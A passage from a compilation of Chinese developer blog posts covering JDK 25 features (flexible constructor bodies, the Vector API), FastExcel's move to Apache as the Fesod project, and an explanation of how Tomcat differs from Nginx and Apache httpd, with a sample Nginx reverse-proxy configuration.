s -> s.toUpperCase().substring(0, 1),
Function.identity()));
System.out.println(fruitMap);
}
}
JEP 513: 灵活的构造函数体
该特性第一次预览是由 JEP 447 (JDK 22)提出,随后在 JEP 482 (JDK 23)和 JEP 492 (JDK 24)经历了预览,JDK 25 顺利转正。
Java 要求在构造函数中,super(...) 或 this(...) 调用必须作为第一条语句出现。这意味着我们无法在调用父类构造函数之前在子类构造函数中直接初始化字段。
灵活的构造函数体解决了这一问题,它允许在构造函数体内,在调用 super(..) 或 this(..) 之前编写语句,这些语句可以初始化字段,但不能引用正在构造的实例。这样可以防止在父类构造函数中调用子类方法时,子类的字段未被正确初始化,增强了类构造的可靠性。
这一特性解决了之前 Java 语法限制了构造函数代码组织的问题,让开发者能够更自由、更自然地表达构造函数的行为,例如在构造函数中直接进行参数验证、准备和共享,而无需依赖辅助方法或构造函数,提高了代码的可读性和可维护性。
class Person {
private final String name;
private int age;
public Person(String name, int age) {
if (age < 0) {
throw new IllegalArgumentException("Age cannot be negative.");
}
this.name = name; // 在调用父类构造函数之前初始化字段
this.age = age;
// ... 其他初始化代码
}
}
class Employee extends Person {
private final int employeeId;
public Employee(String name, int age, int employeeId) {
this.employeeId = employeeId; // 在调用父类构造函数之前初始化字段
super(name, age); // 调用父类构造函数
// ... 其他初始化代码
}
}
JEP 508: 向量 API(第十次孵化)
向量计算由对向量的一系列操作组成。向量 API 用来表达向量计算,该计算可以在运行时可靠地编译为支持的 CPU 架构上的最佳向量指令,从而实现优于等效标量计算的性能。
向量 API 的目标是为用户提供简洁易用且与平台无关的表达范围广泛的向量计算。
这是对数组元素的简单标量计算:
void scalarComputation(float[] a, float[] b, float[] c) {
for (int i = 0; i < a.length; i++) {
c[i] = (a[i] * a[i] + b[i] * b[i]) * -1.0f;
}
}
这是使用 Vector API 进行的等效向量计算:
static final VectorSpecies<Float> SPECIES = FloatVector.SPECIES_PREFERRED;
void vectorComputation(float[] a, float[] b, float[] c) {
int i = 0;
int upperBound = SPECIES.loopBound(a.length);
for (; i < upperBound; i += SPECIES.length()) {
// FloatVector va, vb, vc;
var va = FloatVector.fromArray(SPECIES, a, i);
var vb = FloatVector.fromArray(SPECIES, b, i);
var vc = va.mul(va)
.add(vb.mul(vb))
.neg();
vc.int0Array(c, i);
}
for (; i < a.length; i++) {
c[i] = (a[i] * a[i] + b[i] * b[i]) * -1.0f;
}
}
尽管仍在孵化中,但其第十次迭代足以证明其重要性。它使得 Java 在科学计算、机器学习、大数据处理等性能敏感领域,能够编写出接近甚至媲美 C++等本地语言性能的代码。这是 Java 在高性能计算领域保持竞争力的关键。
从 JDK8 到 JDK24 每一版版本的新特性详细介绍,可以在 JavaGuide 官方网站( javaguide.cn )上找到。
来源:juejin.cn/post/7551104474233831475
FastExcel消失了,原来捐给了Apache
关注我的公众号:【编程朝花夕拾】,可获取首发内容。
01 引言
FastExcel仅存在江湖上出现了两年,可能很多开发者还不知道这个项目。但是说到阿里的EasyExcel,大家肯定耳熟能详。
没错,FastExcel就是EasyExcel的作者离开阿里之后,重新维护的加强版EasyExcel,而此后,阿里的EasyExcel宣布不再更新进入维护期。
这两天,无意间看到一篇文章介绍的Apache新项目,怎么看怎么眼熟,和FastExcel如出一撤。了解下来,才发现原来是同一个项目,只是背景更加强大了。
02 Fesod

2.1 简介
Apache Fesod (Incubating)是一个高性能、内存高效的 Java 库,用于读写电子表格文件,旨在简化开发并确保可靠性。
Apache Fesod (Incubating) 可以为开发者和企业提供极大的自由度和灵活性。我们计划在未来引入更多新功能,以持续提升用户体验和工具可用性。Apache Fesod (Incubating) 致力于成为您处理电子表格文件的最佳选择。
名称 fesod(发音为 /ˈfɛsɒd/),是 fast easy spreadsheet and other documents(快速简单的电子表格和其他文档)的首字母缩写,表达了项目的起源、背景和愿景。
Apache Fesod目前处于孵化器,还没有正式毕业。最低的Java版本也必须是1.8。
GitHub地址:github.com/apache/feso…
官网地址:fesod.apache.org/
2.2 Maven依赖
以后要使用的依赖:
<dependency>
<groupId>org.apache.fesod</groupId>
<artifactId>fesod</artifactId>
<version>version</version>
</dependency>
由于目前正处于Apache的孵化期,暂时没有稳定版本。要使用的话,目前最新的fastexcel 1.3.0的版本。
<dependency>
<groupId>cn.idev.excel</groupId>
<artifactId>fastexcel</artifactId>
<version>1.3.0</version>
</dependency>

2.3 大致时间线
- 2024.09.11
easyexcel发布最后一个稳定版本,easyexcel 4.0.3 - 2024.11.06
easyexcel阿里官方宣布停更。只修复BUG - 2024.12.05
easyexcel作者新开仓库,取名FastExcel,并发布第一个版本,fastexcel 1.0.0 - 2025.01.14
fastExcel发布第二个版本稳定版,fastexcel 1.1.0 - 2025.04.14
fastExcel发布第三个版本稳定版,fastexcel 1.2.0 - 2025.08.23
fastExcel发布最后一个稳定版本,fastexcel 1.3.0 - 2025.09.04
easyexcelGitHub仓库归档,仅可读 - 2025.09.17
fastExcel正式进入Apache服化器,更名Fesod
从此,正式成为Apache的产物,所谓Apache出品必是精品,这么强大的维护团队,期待更多的功能以及更好的性能。
其实在FastExcel作者创建仓库时,第一次的名字并不是FastExcel,好像是EasyExcel plus,具体什么不记得了。但确实存在过。
2.4 怀疑
网上搜了一下fastExcel捐给Apache的消息有限,并没有官方说明。还特意看了下Apache Fesod团队的人员有没有Fastexcel的作者。看了之后确实有。

2.5 熟悉的味道
案例这里就不在赘述,我们看看官方即可:

新的项目使用FesodSheet调起读写方法,其他和原来的一致。
03 小结
不追求新功能的可以继续使用原来的fastexcel或者easyexcel,大部分场景,简单的导入导出功能已经足够使用。渴望新功能的,可以期待一下fesod的正式版。
来源:juejin.cn/post/7598071804969812006
Tomcat 与 Nginx、Apache 的区别是什么?
这个问题本身有个误解:把三个东西都叫「web server」,会让人以为它们是同一种东西的三种实现。其实不是。Nginx 和 Apache 是 HTTP 服务器,Tomcat 是 Servlet 容器,它们干的活不在一个层次上。
Nginx 和 Apache(一般说的 Apache 指的是 Apache HTTP Server,也就是 httpd)是 HTTP 服务器:收 HTTP 请求、按配置干活、回 HTTP 响应。它们擅长扛静态文件、做反向代理、做负载均衡,但它们不执行 Java 代码。你打一个 .war 包丢给 Nginx,Nginx 不知道怎么处理——它只会返回 404 或者把请求转给别人。
Tomcat 是 Servlet 容器,不是完整的 Java EE 应用服务器(那是 WildFly、WebLogic、WebSphere 干的事,它们支持 EJB、JMS、JTA 等完整规范)。Tomcat 只实现 Servlet 和 JSP 规范,核心能力是:把 HTTP 请求交给你的 Java 代码去处理,再把结果变成 HTTP 响应发回去。
所以「Java 后台程序能不能用 Apache 和 Nginx」——能,而且生产环境里经常是「Nginx/Apache 在前,Tomcat 在后」:前面负责扛流量、静态资源、HTTPS 终结、负载均衡,后面专门跑 Java。
Nginx 和 Apache:都是 HTTP 服务器,架构不一样
两者都能做静态文件服务、反向代理、负载均衡,但内部设计完全不同。
Apache 有三种工作模式(MPM):prefork 是一个连接一个进程,worker 是多进程+多线程,event 是在 worker 基础上优化了 keep-alive 连接的处理。现代 Apache(2.4+)默认用 event MPM,处理 keep-alive 的方式已经接近事件驱动了,不完全是老式的「一个连接占一个线程」。但不管哪种模式,Apache 的并发上限都受限于进程/线程数——每个线程有自己的栈空间(Linux 默认 8MB),1000 个线程光栈就要 8GB 内存,还没算堆上的数据。所以 Apache 的并发连接数一般在几百到几千这个量级。
Nginx 是另一种思路:少量 worker 进程 + 事件循环。每个 worker 用 epoll(Linux)/ kqueue(macOS)做 I/O 多路复用,一个 worker 可以同时挂着几万条连接。大部分连接在等 I/O,不需要单独的线程,也就不需要那 8MB 的栈空间。所以同样一台机器,Nginx 能撑的并发连接数比 Apache 高一个数量级。
这也是很多人说「Nginx 比 Apache 性能好」的原因——不是 Nginx 处理单个请求更快,而是它用更少的资源就能维持大量连接。 如果你的场景是几十个并发、主要跑 PHP,Apache + mod_php 用着挺好,没必要换。但如果要扛几万并发、做反向代理或者负载均衡,Nginx 的模型更合适。
Tomcat:能直接对外,但不擅长
这里要纠正一个常见的说法:「Tomcat 必须放在 Nginx 后面」。
Tomcat 自带 HTTP 连接器(Coyote),可以直接监听 80 或 443 端口对外服务。开发的时候大家天天直接访问 localhost:8080,没什么问题。Spring Boot 更进一步——内嵌 Tomcat 打成一个 jar 包,java -jar 直接跑,连单独部署 Tomcat 都省了。
很多微服务架构里,每个服务就是一个内嵌 Tomcat 的 Spring Boot 应用,前面挂一个 API 网关(Spring Cloud Gateway、Kong 之类的)做路由和鉴权,根本没有单独部署 Nginx 的环节。
但 Tomcat 直接对外有几个短板:
静态文件性能。 Nginx 处理静态文件用的是 sendfile 系统调用(之前零拷贝那篇讲过),数据不经过用户空间,直接从磁盘到网卡。Tomcat 处理静态文件要经过 Java 的 IO 层,多了一次拷贝和 JVM 的开销。量小的时候感知不到,量大了差距就出来了。
SSL 终结。 Nginx 的 SSL 实现基于 OpenSSL,经过大量优化,支持 session 复用、OCSP stapling 这些。Tomcat 也能做 SSL,但性能和配置灵活性都不如 Nginx。把 SSL 卸载到 Nginx,Tomcat 和 Nginx 之间走 HTTP 明文,Tomcat 的负担更轻。
限流、缓存、负载均衡。 这些 Nginx 用几行配置就能搞定,Tomcat 要么不支持,要么需要写 Java 代码或者引入额外组件。
所以典型的生产部署是这样的:
upstream tomcat_backend {
server 127.0.0.1:8080;
server 127.0.0.1:8081; # 多实例负载均衡
}
server {
listen 443 ssl;
ssl_certificate /etc/nginx/cert.pem;
ssl_certificate_key /etc/nginx/key.pem;
location /static/ {
alias /var/www/static/;
}
location / {
proxy_pass http://tomcat_backend;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-Proto $scheme;
}
}
Nginx 扛 SSL、吐静态文件、做负载均衡,动态请求转给后面的 Tomcat。但这不是唯一的架构——小项目、内部系统、微服务里 Tomcat 直接对外也很常见,取决于你的流量规模和运维需求。
为啥早年都是 Apache + Tomcat
早期 Nginx 还没普及的时候,Apache 是 Linux 上默认的 HTTP 服务器。Java 项目的标准搭配是 Apache + mod_jk(或 mod_proxy)+ Tomcat:Apache 在前面接请求,通过 AJP 协议或 HTTP 代理转给 Tomcat。
mod_jk 用的是 AJP 协议(Apache JServ Protocol),比 HTTP 更紧凑,省了 HTTP 头的解析开销。但 AJP 协议在 2020 年爆出过 Ghostcat 漏洞(CVE-2020-1938),之后很多团队开始关闭 AJP 端口,改用 HTTP 代理。
现在新项目基本都用 Nginx 替代 Apache 当入口了。Apache 在需要 .htaccess(目录级配置覆盖)或者跑 mod_php 的场景还有优势,但纯做反向代理和负载均衡,Nginx 的资源占用和并发能力都更好。
怎么判断你的项目该用哪种组合
Spring Boot 微服务、内部系统、流量不大: 内嵌 Tomcat 直接对外,前面挂个网关或者云厂商的负载均衡器就行,不需要单独部署 Nginx。
对外的 Web 应用、有静态资源、需要 HTTPS: Nginx 在前做 SSL 终结和静态资源,动态请求 proxy_pass 到 Tomcat。
PHP + Java 混合部署(老项目): Apache 跑 mod_php 处理 PHP,同时 mod_proxy 把 Java 请求转给 Tomcat。不过这种架构越来越少了。
纯静态站点、CDN 回源、API 网关: 只需要 Nginx,不需要 Tomcat。
Nginx 和 Tomcat 不是竞争关系,Apache 和 Nginx 才是。而即便是 Apache 和 Nginx,在大部分场景下也不是「谁好谁差」的问题——Nginx 在高并发反向代理上更强,Apache 在需要 .htaccess 和动态模块加载的场景更方便。
来源:juejin.cn/post/7609933479262715950













